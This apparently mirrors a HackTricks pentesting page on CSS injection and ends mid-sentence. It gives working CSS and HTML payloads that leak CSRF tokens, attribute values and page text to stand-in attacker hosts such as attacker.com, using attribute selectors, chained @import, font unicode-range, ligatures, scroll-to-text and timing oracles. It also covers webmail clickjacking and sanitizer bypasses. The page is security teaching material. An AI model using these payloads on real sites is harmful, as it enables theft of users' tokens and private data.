overview.md (40599B)
1 --- 2 title: "CSS Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/css-injection/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/css-injection/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CSS Injection 14 15 ## CSS Injection 16 17 ### LESS Code Injection 18 19 LESS expands ordinary CSS with variables, mixins, functions, and the `@import` directive. If attacker input is compiled as LESS, those features can generate selectors or force resource requests that provide CSS-injection and XS-Leak primitives. In particular, `@import (inline)` makes the compiler fetch a referenced resource and embed its contents in the resulting CSS. 20 21 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection) 22 23 ### Attribute Selector 24 25 CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded:<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup> 26 27 ```css 28 input[name="csrf"][value^="a"] { 29 background-image: url(https://attacker.com/exfil/a); 30 } 31 input[name="csrf"][value^="b"] { 32 background-image: url(https://attacker.com/exfil/b); 33 } 34 /* ... */ 35 input[name="csrf"][value^="9"] { 36 background-image: url(https://attacker.com/exfil/9); 37 } 38 ``` 39 40 However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds. 41 42 #### Bypass for Hidden Elements 43 44 To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load:<sup>[[2]](#references)</sup> 45 46 ```css 47 input[name="csrf"][value^="csrF"] ~ * { 48 background-image: url(https://attacker.com/exfil/csrF); 49 } 50 ``` 51 52 A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).<sup>[[2]](#references)[[22]](#references)</sup> 53 54 #### Prerequisites for CSS Injection 55 56 For the CSS Injection technique to be effective, certain conditions must be met: 57 58 1. **Payload Length**: The CSS injection vector must support sufficiently long payloads to accommodate the crafted selectors. 59 2. **CSS Re-evaluation**: You should have the ability to frame the page, which is necessary to trigger the re-evaluation of CSS with newly generated payloads. 60 3. **External Resources**: The technique assumes the ability to use externally hosted images. This might be restricted by the site's Content Security Policy (CSP). 61 62 ### Blind Attribute Selector 63 64 As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.<sup>[[11]](#references)</sup>\ 65 It's also possible to use those selectors to extract information from several block of the same type like in: 66 67 ```html 68 <style> 69 html:has(input[name^="m"]):not(input[name="mytoken"]) { 70 background: url(/m); 71 } 72 </style> 73 <input name="mytoken" value="1337" /> 74 <input name="myname" value="gareth" /> 75 ``` 76 77 Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** 78 79 ### @import 80 81 The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**. 82 83 However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique. 84 85 This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this:<sup>[[12]](#references)</sup> 86 87 Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim): 88 89 ```css 90 @import url("//attacker.com:5001/start?"); 91 ``` 92 93 1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**. 94 2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.** 95 1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones. 96 3. The second and bigger part of the payload is going to be an **attribute selector leakage payload** 97 1. This will send to the attackers server the **first char of the secret and the last one** 98 4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**. 99 1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**. 100 101 The attacker will f**ollow that loop until it manages to leak completely the secret**. 102 103 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)<sup>[[13]](#references)</sup> 104 105 > [!TIP] 106 > The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like: 107 > 108 > ```css 109 > /* value^= matches the beginning of the value */ 110 > input[value^="0"] { 111 > --s0: url(http://localhost:5001/leak?pre=0); 112 > } 113 > 114 > /* value$= to match the ending of the value*/ 115 > input[value$="f"] { 116 > --e0: url(http://localhost:5001/leak?post=f); 117 > } 118 > ``` 119 > 120 > This allows the script to leak the secret faster. 121 122 > [!WARNING] 123 > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ 124 > No worries, just check the **output** because **you can see the flag there**. 125 126 ### Inline-Style CSS Exfiltration (attr() + if() + image-set()) 127 128 This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.<sup>[[5]](#references)[[7]](#references)</sup> 129 130 > [!WARNING] 131 > Equality comparisons in if() require double quotes for string literals. Single quotes will not match. 132 133 - Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). 134 - Read: copy the attribute into a CSS variable: `--val: attr(title)`.<sup>[[9]](#references)</sup> 135 - Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.<sup>[[8]](#references)</sup> 136 - Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.<sup>[[10]](#references)</sup> 137 138 Attempt (does not work; single quotes in comparison): 139 140 ```html 141 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div> 142 ``` 143 144 Working payload (double quotes required in the comparison): 145 146 ```html 147 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div> 148 ``` 149 150 Enumerating attribute values with nested conditionals: 151 152 ```html 153 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div> 154 ``` 155 156 Realistic demo (probing usernames): 157 158 ```html 159 <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div> 160 ``` 161 162 Notes and limitations: 163 164 - Works on Chromium-based browsers at the time of research; behavior may differ on other engines. 165 - Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. 166 - Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). 167 168 Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda<sup>[[6]](#references)</sup> 169 170 ### Other selectors 171 172 Other ways to access DOM parts with **CSS selectors**: 173 174 - **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM. 175 - **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**<sup>[[21]](#references)</sup> 176 177 ```css 178 [role^="img"][aria-label="1"]:empty { 179 background-image: url("YOUR_SERVER_URL?1"); 180 } 181 ``` 182 183 ### Error based XS-Search 184 185 **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)<sup>[[14]](#references)[[15]](#references)</sup> 186 187 The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.<sup>[[14]](#references)[[15]](#references)</sup> 188 189 ```html 190 <!DOCTYPE html> 191 <html> 192 <head> 193 <style> 194 @font-face { 195 font-family: poc; 196 src: url(http://attacker.com/?leak); 197 unicode-range: U+0041; 198 } 199 200 #poc0 { 201 font-family: "poc"; 202 } 203 </style> 204 </head> 205 <body> 206 <object id="poc0" data="http://192.168.0.1/favicon.ico">A</object> 207 </body> 208 </html> 209 ``` 210 211 1. **Custom Font Usage**: 212 213 - A custom font is defined using the `@font-face` rule within a `<style>` tag in the `<head>` section. 214 - The font is named `poc` and is fetched from an external endpoint (`http://attacker.com/?leak`). 215 - The `unicode-range` property is set to `U+0041`, targeting the specific Unicode character 'A'. 216 217 2. **Object Element with Fallback Text**: 218 - An `<object>` element with `id="poc0"` is created in the `<body>` section. This element tries to load a resource from `http://192.168.0.1/favicon.ico`. 219 - The `font-family` for this element is set to `'poc'`, as defined in the `<style>` section. 220 - If the resource (`favicon.ico`) fails to load, the fallback content (the letter 'A') inside the `<object>` tag is displayed. 221 - The fallback content ('A') will be rendered using the custom font `poc` if the external resource cannot be loaded. 222 223 ### Styling Scroll-to-Text Fragment 224 225 The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment. 226 227 A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection.<sup>[[16]](#references)</sup> The method involves injecting a CSS rule like this: 228 229 ```css 230 :target::before { 231 content: url(target.png); 232 } 233 ``` 234 235 In such scenarios, if the text "Administrator" is present on the page, the resource `target.png` gets requested from the server, indicating the text's presence. An instance of this attack can be executed through a specially crafted URL that embeds the injected CSS alongside a Scroll-to-text fragment: 236 237 ```text 238 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator 239 ``` 240 241 Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker. 242 243 For mitigation, the following points should be noted: 244 245 1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens. 246 2. **Restriction to Top-level Browsing Contexts**: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user. 247 3. **Necessity of User Activation**: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation. 248 249 Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics. 250 251 For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)<sup>[[16]](#references)</sup> 252 253 You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb). 254 255 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> 256 257 You can specify **external fonts for specific unicode values** that will only be **gathered if those unicode values are present** in the page. For example: 258 259 ```html 260 <style> 261 @font-face { 262 font-family: poc; 263 src: url(http://attacker.example.com/?A); /* fetched */ 264 unicode-range: U+0041; 265 } 266 @font-face { 267 font-family: poc; 268 src: url(http://attacker.example.com/?B); /* fetched too */ 269 unicode-range: U+0042; 270 } 271 @font-face { 272 font-family: poc; 273 src: url(http://attacker.example.com/?C); /* not fetched */ 274 unicode-range: U+0043; 275 } 276 #sensitive-information { 277 font-family: poc; 278 } 279 </style> 280 281 <p id="sensitive-information">AB</p> 282 htm 283 ``` 284 285 When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". 286 287 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> 288 289 **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)<sup>[[17]](#references)</sup> 290 291 The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width.<sup>[[17]](#references)</sup> The process involves several steps: 292 293 1. **Creation of Custom Fonts**: 294 295 - SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence. 296 - Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence. 297 - These fonts are then converted to woff format using fontforge. 298 299 2. **Detection of Width Changes**: 300 301 - CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style. 302 - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text. 303 - The CSS involved: 304 ```css 305 body { 306 white-space: nowrap; 307 } 308 body::-webkit-scrollbar { 309 background: blue; 310 } 311 body::-webkit-scrollbar:horizontal { 312 background: url(http://attacker.com/?leak); 313 } 314 ``` 315 316 3. **Exploit Process**: 317 318 - **Step 1**: Fonts are created for pairs of characters with substantial width. 319 - **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence. 320 - **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character. 321 - **Step 4**: Detection of the three-character ligature is carried out. 322 - **Step 5**: The process repeats, progressively revealing the entire text. 323 324 4. **Optimization**: 325 - The current initialization method using `<meta refresh=...` is not optimal. 326 - A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance. 327 328 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> 329 330 **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)<sup>[[18]](#references)</sup> 331 332 This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.<sup>[[18]](#references)[[19]](#references)</sup> 333 334 The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections: 335 336 1. **Prefix**: The initial line. 337 2. **Suffix**: The subsequent line(s). 338 339 The transition stages of the characters would appear as follows: 340 341 **C**\ 342 ADB 343 344 **CA**\ 345 DB 346 347 **CAD**\ 348 B 349 350 **CADB** 351 352 During this transition, the **unicode-range trick** is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix. 353 354 Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred. 355 356 > [!TIP] 357 > Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\ 358 > When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**. 359 360 Check the code extracted from the PoC: 361 362 ```css 363 /* comic sans is high (lol) and causes a vertical overflow */ 364 @font-face { 365 font-family: has_A; 366 src: local("Comic Sans MS"); 367 unicode-range: U+41; 368 font-style: monospace; 369 } 370 @font-face { 371 font-family: has_B; 372 src: local("Comic Sans MS"); 373 unicode-range: U+42; 374 font-style: monospace; 375 } 376 @font-face { 377 font-family: has_C; 378 src: local("Comic Sans MS"); 379 unicode-range: U+43; 380 font-style: monospace; 381 } 382 @font-face { 383 font-family: has_D; 384 src: local("Comic Sans MS"); 385 unicode-range: U+44; 386 font-style: monospace; 387 } 388 @font-face { 389 font-family: has_E; 390 src: local("Comic Sans MS"); 391 unicode-range: U+45; 392 font-style: monospace; 393 } 394 @font-face { 395 font-family: has_F; 396 src: local("Comic Sans MS"); 397 unicode-range: U+46; 398 font-style: monospace; 399 } 400 @font-face { 401 font-family: has_G; 402 src: local("Comic Sans MS"); 403 unicode-range: U+47; 404 font-style: monospace; 405 } 406 @font-face { 407 font-family: has_H; 408 src: local("Comic Sans MS"); 409 unicode-range: U+48; 410 font-style: monospace; 411 } 412 @font-face { 413 font-family: has_I; 414 src: local("Comic Sans MS"); 415 unicode-range: U+49; 416 font-style: monospace; 417 } 418 @font-face { 419 font-family: has_J; 420 src: local("Comic Sans MS"); 421 unicode-range: U+4a; 422 font-style: monospace; 423 } 424 @font-face { 425 font-family: has_K; 426 src: local("Comic Sans MS"); 427 unicode-range: U+4b; 428 font-style: monospace; 429 } 430 @font-face { 431 font-family: has_L; 432 src: local("Comic Sans MS"); 433 unicode-range: U+4c; 434 font-style: monospace; 435 } 436 @font-face { 437 font-family: has_M; 438 src: local("Comic Sans MS"); 439 unicode-range: U+4d; 440 font-style: monospace; 441 } 442 @font-face { 443 font-family: has_N; 444 src: local("Comic Sans MS"); 445 unicode-range: U+4e; 446 font-style: monospace; 447 } 448 @font-face { 449 font-family: has_O; 450 src: local("Comic Sans MS"); 451 unicode-range: U+4f; 452 font-style: monospace; 453 } 454 @font-face { 455 font-family: has_P; 456 src: local("Comic Sans MS"); 457 unicode-range: U+50; 458 font-style: monospace; 459 } 460 @font-face { 461 font-family: has_Q; 462 src: local("Comic Sans MS"); 463 unicode-range: U+51; 464 font-style: monospace; 465 } 466 @font-face { 467 font-family: has_R; 468 src: local("Comic Sans MS"); 469 unicode-range: U+52; 470 font-style: monospace; 471 } 472 @font-face { 473 font-family: has_S; 474 src: local("Comic Sans MS"); 475 unicode-range: U+53; 476 font-style: monospace; 477 } 478 @font-face { 479 font-family: has_T; 480 src: local("Comic Sans MS"); 481 unicode-range: U+54; 482 font-style: monospace; 483 } 484 @font-face { 485 font-family: has_U; 486 src: local("Comic Sans MS"); 487 unicode-range: U+55; 488 font-style: monospace; 489 } 490 @font-face { 491 font-family: has_V; 492 src: local("Comic Sans MS"); 493 unicode-range: U+56; 494 font-style: monospace; 495 } 496 @font-face { 497 font-family: has_W; 498 src: local("Comic Sans MS"); 499 unicode-range: U+57; 500 font-style: monospace; 501 } 502 @font-face { 503 font-family: has_X; 504 src: local("Comic Sans MS"); 505 unicode-range: U+58; 506 font-style: monospace; 507 } 508 @font-face { 509 font-family: has_Y; 510 src: local("Comic Sans MS"); 511 unicode-range: U+59; 512 font-style: monospace; 513 } 514 @font-face { 515 font-family: has_Z; 516 src: local("Comic Sans MS"); 517 unicode-range: U+5a; 518 font-style: monospace; 519 } 520 @font-face { 521 font-family: has_0; 522 src: local("Comic Sans MS"); 523 unicode-range: U+30; 524 font-style: monospace; 525 } 526 @font-face { 527 font-family: has_1; 528 src: local("Comic Sans MS"); 529 unicode-range: U+31; 530 font-style: monospace; 531 } 532 @font-face { 533 font-family: has_2; 534 src: local("Comic Sans MS"); 535 unicode-range: U+32; 536 font-style: monospace; 537 } 538 @font-face { 539 font-family: has_3; 540 src: local("Comic Sans MS"); 541 unicode-range: U+33; 542 font-style: monospace; 543 } 544 @font-face { 545 font-family: has_4; 546 src: local("Comic Sans MS"); 547 unicode-range: U+34; 548 font-style: monospace; 549 } 550 @font-face { 551 font-family: has_5; 552 src: local("Comic Sans MS"); 553 unicode-range: U+35; 554 font-style: monospace; 555 } 556 @font-face { 557 font-family: has_6; 558 src: local("Comic Sans MS"); 559 unicode-range: U+36; 560 font-style: monospace; 561 } 562 @font-face { 563 font-family: has_7; 564 src: local("Comic Sans MS"); 565 unicode-range: U+37; 566 font-style: monospace; 567 } 568 @font-face { 569 font-family: has_8; 570 src: local("Comic Sans MS"); 571 unicode-range: U+38; 572 font-style: monospace; 573 } 574 @font-face { 575 font-family: has_9; 576 src: local("Comic Sans MS"); 577 unicode-range: U+39; 578 font-style: monospace; 579 } 580 @font-face { 581 font-family: rest; 582 src: local("Courier New"); 583 font-style: monospace; 584 unicode-range: U+0-10FFFF; 585 } 586 587 div.leak { 588 overflow-y: auto; /* leak channel */ 589 overflow-x: hidden; /* remove false positives */ 590 height: 40px; /* comic sans capitals exceed this height */ 591 font-size: 0px; /* make suffix invisible */ 592 letter-spacing: 0px; /* separation */ 593 word-break: break-all; /* small width split words in lines */ 594 font-family: rest; /* default */ 595 background: grey; /* default */ 596 width: 0px; /* initial value */ 597 animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ 598 animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ 599 } 600 601 div.leak::first-line { 602 font-size: 30px; /* prefix is visible in first line */ 603 text-transform: uppercase; /* only capital letters leak */ 604 } 605 606 /* iterate over all chars */ 607 @keyframes trychar { 608 0% { 609 font-family: rest; 610 } /* delay for width change */ 611 5% { 612 font-family: has_A, rest; 613 --leak: url(?a); 614 } 615 6% { 616 font-family: rest; 617 } 618 10% { 619 font-family: has_B, rest; 620 --leak: url(?b); 621 } 622 11% { 623 font-family: rest; 624 } 625 15% { 626 font-family: has_C, rest; 627 --leak: url(?c); 628 } 629 16% { 630 font-family: rest; 631 } 632 20% { 633 font-family: has_D, rest; 634 --leak: url(?d); 635 } 636 21% { 637 font-family: rest; 638 } 639 25% { 640 font-family: has_E, rest; 641 --leak: url(?e); 642 } 643 26% { 644 font-family: rest; 645 } 646 30% { 647 font-family: has_F, rest; 648 --leak: url(?f); 649 } 650 31% { 651 font-family: rest; 652 } 653 35% { 654 font-family: has_G, rest; 655 --leak: url(?g); 656 } 657 36% { 658 font-family: rest; 659 } 660 40% { 661 font-family: has_H, rest; 662 --leak: url(?h); 663 } 664 41% { 665 font-family: rest; 666 } 667 45% { 668 font-family: has_I, rest; 669 --leak: url(?i); 670 } 671 46% { 672 font-family: rest; 673 } 674 50% { 675 font-family: has_J, rest; 676 --leak: url(?j); 677 } 678 51% { 679 font-family: rest; 680 } 681 55% { 682 font-family: has_K, rest; 683 --leak: url(?k); 684 } 685 56% { 686 font-family: rest; 687 } 688 60% { 689 font-family: has_L, rest; 690 --leak: url(?l); 691 } 692 61% { 693 font-family: rest; 694 } 695 65% { 696 font-family: has_M, rest; 697 --leak: url(?m); 698 } 699 66% { 700 font-family: rest; 701 } 702 70% { 703 font-family: has_N, rest; 704 --leak: url(?n); 705 } 706 71% { 707 font-family: rest; 708 } 709 75% { 710 font-family: has_O, rest; 711 --leak: url(?o); 712 } 713 76% { 714 font-family: rest; 715 } 716 80% { 717 font-family: has_P, rest; 718 --leak: url(?p); 719 } 720 81% { 721 font-family: rest; 722 } 723 85% { 724 font-family: has_Q, rest; 725 --leak: url(?q); 726 } 727 86% { 728 font-family: rest; 729 } 730 90% { 731 font-family: has_R, rest; 732 --leak: url(?r); 733 } 734 91% { 735 font-family: rest; 736 } 737 95% { 738 font-family: has_S, rest; 739 --leak: url(?s); 740 } 741 96% { 742 font-family: rest; 743 } 744 } 745 746 /* increase width char by char, i.e. add new char to prefix */ 747 @keyframes loop { 748 0% { 749 width: 0px; 750 } 751 1% { 752 width: 20px; 753 } 754 2% { 755 width: 40px; 756 } 757 3% { 758 width: 60px; 759 } 760 4% { 761 width: 80px; 762 } 763 4% { 764 width: 100px; 765 } 766 5% { 767 width: 120px; 768 } 769 6% { 770 width: 140px; 771 } 772 7% { 773 width: 0px; 774 } 775 } 776 777 div::-webkit-scrollbar { 778 background: blue; 779 } 780 781 /* side-channel */ 782 div::-webkit-scrollbar:vertical { 783 background: blue var(--leak); 784 } 785 ``` 786 787 ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> 788 789 **Reference:** The writeup discusses this element-hiding idea as an unsuccessful attempted solution.<sup>[[20]](#references)</sup> 790 791 This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.<sup>[[20]](#references)</sup> 792 793 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> 794 795 **Reference:** The same writeup evaluates this same-origin cache-timing variant as an unsuccessful attempt.<sup>[[20]](#references)</sup> 796 797 In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:<sup>[[20]](#references)</sup> 798 799 ```css 800 @font-face { 801 font-family: "A1"; 802 src: url(/static/bootstrap.min.css?q=1); 803 unicode-range: U+0041; 804 } 805 ``` 806 807 If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things. 808 809 However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful. 810 811 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> 812 813 **Reference:** Its final unsuccessful attempted variant amplifies timing differences by declaring hundreds of local font sources.<sup>[[20]](#references)</sup> 814 815 In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:<sup>[[20]](#references)</sup> 816 817 ```css 818 @font-face { 819 font-family: "A1"; 820 src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), 821 .... url(/static/bootstrap.min.css?q=500); 822 unicode-range: U+0041; 823 } 824 ``` 825 826 And the bot’s code looks like this: 827 828 ```python 829 browser.get(url) 830 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') 831 time.sleep(30) 832 ``` 833 834 So, if the font does not match, the response time when visiting the bot is expected to be approximately 30 seconds. However, if there is a font match, multiple requests will be sent to retrieve the font, causing the network to have continuous activity. As a result, it will take longer to satisfy the stop condition and receive the response. Therefore, the response time can be used as an indicator to determine if there is a font match. 835 836 837 ### Webmail CSS injection: trust-boundary abuse 838 839 When attacker-controlled HTML/CSS is rendered inside a trusted webmail UI, look beyond classic secret exfiltration and test whether the sanitizer preserved interactive elements. A retained `<label for="...">` can activate any labelable control whose `id` lives outside the untrusted subtree, so clicking inside the email can open ribbons, focus inputs, toggle checkboxes, or trigger existing application actions. A quick recon query for candidate targets is `document.querySelectorAll('input[id],button[id],select[id],textarea[id]')`.<sup>[[23]](#references)</sup> 840 841 A minimal label-based UI activation payload looks like this:<sup>[[23]](#references)</sup> 842 843 ```html 844 <label for="RibbonModeToggle">Open UI</label> 845 <label for="548">Pin this message</label> 846 ``` 847 848 If you get arbitrary CSS, pseudo-elements can also become a **CSS-only clickjacking** primitive. A fullscreen `:before` / `:after` attached to a trusted action inherits that element's click handler, so clicking anywhere on the page activates the underlying control. Chaining several overlays with increasing `z-index` can force multi-step workflows. See also [Clickjacking](/hacktricks/pentesting-web/clickjacking).<sup>[[23]](#references)</sup> 849 850 ```css 851 .target:before { 852 position: fixed; 853 width: 100%; 854 height: 100%; 855 content: " "; 856 z-index: 10000000; 857 } 858 ``` 859 860 ### Sanitizer differentials, image-proxy bypasses, and CSSOM mutation 861 862 In email/webmail targets, do not model CSS as passive styling. Useful request-capable sinks include `url()`, `image-set()`, `-webkit-image-set()`, `@import`, and even legacy `sourceMappingURL` comments. Sanitizers often miss parser differentials such as adjacent functions (`calc(...)url(...)`), comments inside unquoted `url(...)`, escapes between slashes (`url(/\0a/evil)` / `url(/\D/evil)`), or unresolved custom-property fallbacks. In practice these bugs can bypass image proxies or CSP allowlists and turn "remote images blocked" back into direct attacker-observable requests. See also [CSP bypass](/hacktricks/pentesting-web/content-security-policy-csp-bypass/overview).<sup>[[23]](#references)</sup> 863 864 ```css 865 background:image-set(var(--x,'//attacker.tld/open')); 866 content:url(/\5c/user.fm/uid.fastmail.com/track); 867 ``` 868 869 If the target sanitizes **CSSOM output** instead 